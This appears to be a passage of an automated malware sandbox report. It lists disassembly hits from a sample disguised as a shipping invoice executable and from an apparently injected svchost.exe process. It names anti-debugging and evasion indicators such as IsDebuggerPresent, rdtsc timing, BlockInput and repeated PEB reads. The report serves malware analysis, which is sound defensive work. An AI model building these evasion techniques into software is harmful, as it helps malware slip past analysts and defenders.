Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03A7096E rdtsc

2_2_03A7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417783 LdrLoadDll,

2_2_00417783

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_03EB46C0 mov eax, dword ptr fs:[00000030h]	0_2_03EB46C0
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_03EB5D40 mov eax, dword ptr fs:[00000030h]	0_2_03EB5D40
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_03EB5CE0 mov eax, dword ptr fs:[00000030h]	0_2_03EB5CE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A663FF mov eax, dword ptr fs:[00000030h]	2_2_03A663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC3CD mov eax, dword ptr fs:[00000030h]	2_2_03AEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB63C0 mov eax, dword ptr fs:[00000030h]	2_2_03AB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	2_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	2_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov ecx, dword ptr fs:[00000030h]	2_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	2_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]	2_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]	2_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C310 mov ecx, dword ptr fs:[00000030h]	2_2_03A2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A50310 mov ecx, dword ptr fs:[00000030h]	2_2_03A50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD437C mov eax, dword ptr fs:[00000030h]	2_2_03AD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov ecx, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352 mov eax, dword ptr fs:[00000030h]	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD8350 mov ecx, dword ptr fs:[00000030h]	2_2_03AD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2823B mov eax, dword ptr fs:[00000030h]	2_2_03A2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2826B mov eax, dword ptr fs:[00000030h]	2_2_03A2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB8243 mov eax, dword ptr fs:[00000030h]	2_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB8243 mov ecx, dword ptr fs:[00000030h]	2_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A250 mov eax, dword ptr fs:[00000030h]	2_2_03A2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36259 mov eax, dword ptr fs:[00000030h]	2_2_03A36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]	2_2_03AEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]	2_2_03AEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A70185 mov eax, dword ptr fs:[00000030h]	2_2_03A70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]	2_2_03AD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]	2_2_03AD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B061E5 mov eax, dword ptr fs:[00000030h]	2_2_03B061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A601F8 mov eax, dword ptr fs:[00000030h]	2_2_03A601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60124 mov eax, dword ptr fs:[00000030h]	2_2_03A60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	2_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov ecx, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF0115 mov eax, dword ptr fs:[00000030h]	2_2_03AF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov ecx, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C156 mov eax, dword ptr fs:[00000030h]	2_2_03A2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC8158 mov eax, dword ptr fs:[00000030h]	2_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC80A8 mov eax, dword ptr fs:[00000030h]	2_2_03AC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov eax, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3208A mov eax, dword ptr fs:[00000030h]	2_2_03A3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_03A2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A380E9 mov eax, dword ptr fs:[00000030h]	2_2_03A380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB60E0 mov eax, dword ptr fs:[00000030h]	2_2_03AB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_03A2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A720F0 mov ecx, dword ptr fs:[00000030h]	2_2_03A720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB20DE mov eax, dword ptr fs:[00000030h]	2_2_03AB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A020 mov eax, dword ptr fs:[00000030h]	2_2_03A2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C020 mov eax, dword ptr fs:[00000030h]	2_2_03A2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6030 mov eax, dword ptr fs:[00000030h]	2_2_03AC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4000 mov ecx, dword ptr fs:[00000030h]	2_2_03AB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]	2_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C073 mov eax, dword ptr fs:[00000030h]	2_2_03A5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32050 mov eax, dword ptr fs:[00000030h]	2_2_03A32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6050 mov eax, dword ptr fs:[00000030h]	2_2_03AB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A307AF mov eax, dword ptr fs:[00000030h]	2_2_03A307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE47A0 mov eax, dword ptr fs:[00000030h]	2_2_03AE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD678E mov eax, dword ptr fs:[00000030h]	2_2_03AD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE7E1 mov eax, dword ptr fs:[00000030h]	2_2_03ABE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB07C3 mov eax, dword ptr fs:[00000030h]	2_2_03AB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov ecx, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAC730 mov eax, dword ptr fs:[00000030h]	2_2_03AAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C700 mov eax, dword ptr fs:[00000030h]	2_2_03A6C700
